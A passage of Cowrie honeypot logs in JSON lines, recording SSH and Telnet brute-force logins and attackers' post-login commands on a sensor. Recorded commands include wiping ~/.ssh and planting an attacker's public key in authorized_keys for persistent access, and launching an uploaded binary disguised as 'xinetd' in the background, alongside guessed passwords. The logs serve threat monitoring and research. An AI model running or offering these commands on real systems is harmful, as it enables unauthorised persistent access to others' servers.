256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:30.137501Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Password88**","message":"login attempt [root/Password88**] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:30.612965Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:30.873249Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:30.877998Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:30.882693Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:30.996682Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:31.364773Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:31.368365Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:31.482736Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:31.486585Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.178.38.59","src_port":59246,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d98a2a3fe3","protocol":"ssh","message":"New connection: 189.178.38.59:59246 (10.17.0.5:22) [session: 53d98a2a3fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:31.593426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:31.597790Z","src_ip":"189.178.38.59","session":"53d98a2a3fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:31.710410Z","src_ip":"189.178.38.59","session":"53d98a2a3fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:32.185254Z","src_ip":"189.178.38.59","session":"53d98a2a3fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:33.301669Z","src_ip":"189.178.38.59","session":"53d98a2a3fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.178.38.59","src_port":59662,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ac704fa42e4","protocol":"ssh","message":"New connection: 189.178.38.59:59662 (10.17.0.5:22) [session: 9ac704fa42e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:33.408526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:33.413522Z","src_ip":"189.178.38.59","session":"9ac704fa42e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:33.529911Z","src_ip":"189.178.38.59","session":"9ac704fa42e4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:34.006794Z","src_ip":"189.178.38.59","session":"9ac704fa42e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:34.118702Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:34.123109Z","src_ip":"189.178.38.59","session":"9ac704fa42e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.03045320510864,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:44:02.318366Z","src_ip":"49.88.156.34","session":"838e539b87e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.158.6.39","src_port":49488,"dst_ip":"159.203.135.109","dst_port":22,"session":"6af11640717d","protocol":"ssh","message":"New connection: 195.158.6.39:49488 (159.203.135.109:22) [session: 6af11640717d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:44:27.190175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:44:27.198261Z","src_ip":"195.158.6.39","session":"6af11640717d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:44:27.358175Z","src_ip":"195.158.6.39","session":"6af11640717d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:44:28.017594Z","src_ip":"195.158.6.39","session":"6af11640717d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":45237,"dst_ip":"10.17.0.5","dst_port":23,"session":"e09de12f7b75","protocol":"telnet","message":"New connection: 49.88.156.34:45237 (10.17.0.5:23) [session: e09de12f7b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:44:28.022983Z"}
{"eventid":"cowrie.session.closed","duration":120.00096940994263,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:46:28.023864Z","src_ip":"49.88.156.34","session":"e09de12f7b75","protocol":"telnet"}
{"eventid":"cowrie.session.file_upload","filename":"xinetd","outfile":"var/lib/cowrie/downloads/b9e643a8e78d2ce745fbe73eb505c8a0cc49842803077809b2267817979d10b0","shasum":"b9e643a8e78d2ce745fbe73eb505c8a0cc49842803077809b2267817979d10b0","message":"SFTP Uploaded file \"xinetd\" to var/lib/cowrie/downloads/b9e643a8e78d2ce745fbe73eb505c8a0cc49842803077809b2267817979d10b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:01.803611Z","src_ip":"195.158.6.39","session":"6af11640717d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:02.338583Z","src_ip":"195.158.6.39","session":"6af11640717d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x ./.5179692560277138542/xinetd;nohup ./.5179692560277138542/xinetd  &","message":"CMD: chmod +x ./.5179692560277138542/xinetd;nohup ./.5179692560277138542/xinetd  &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:02.342537Z","src_ip":"195.158.6.39","session":"6af11640717d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d23eccc1ff557f25af9a7ab7dc2242c80083c0fce6227de6c34e318eba2a9472","size":138,"shasum":"d23eccc1ff557f25af9a7ab7dc2242c80083c0fce6227de6c34e318eba2a9472","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/d23eccc1ff557f25af9a7ab7dc2242c80083c0fce6227de6c34e318eba2a9472 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:02.513937Z","src_ip":"195.158.6.39","session":"6af11640717d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"155.3","message":"Connection lost after 155.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:02.518704Z","src_ip":"195.158.6.39","session":"6af11640717d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":48096,"dst_ip":"10.17.0.5","dst_port":22,"session":"deb7b89e463e","protocol":"ssh","message":"New connection: 2.57.121.112:48096 (10.17.0.5:22) [session: deb7b89e463e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:27.951083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:27.955676Z","src_ip":"2.57.121.112","session":"deb7b89e463e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:28.055555Z","src_ip":"2.57.121.112","session":"deb7b89e463e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030392","message":"login attempt [admin/030392] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:28.526482Z","src_ip":"2.57.121.112","session":"deb7b89e463e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03031972","message":"login attempt [admin/03031972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:29.628949Z","src_ip":"2.57.121.112","session":"deb7b89e463e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030289","message":"login attempt [admin/030289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:30.731995Z","src_ip":"2.57.121.112","session":"deb7b89e463e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030189","message":"login attempt [admin/030189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:31.835069Z","src_ip":"2.57.121.112","session":"deb7b89e463e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030185","message":"login attempt [admin/030185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:32.937872Z","src_ip":"2.57.121.112","session":"deb7b89e463e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:47:34.040739Z","src_ip":"2.57.121.112","session":"deb7b89e463e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":42080,"dst_ip":"159.203.135.109","dst_port":22,"session":"b16b78bfc9a6","protocol":"ssh","message":"New connection: 45.148.10.121:42080 (159.203.135.109:22) [session: b16b78bfc9a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:02.941465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:02.946274Z","src_ip":"45.148.10.121","session":"b16b78bfc9a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:03.026921Z","src_ip":"45.148.10.121","session":"b16b78bfc9a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":21018,"dst_ip":"10.17.0.5","dst_port":22,"session":"c192f74d65b7","protocol":"ssh","message":"New connection: 43.160.200.19:21018 (10.17.0.5:22) [session: c192f74d65b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:09.989411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:09.994497Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:10.240591Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e@#","message":"login attempt [root/1q2w3e@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:11.257971Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:11.781423Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:11.784258Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:11.786981Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:12.034358Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
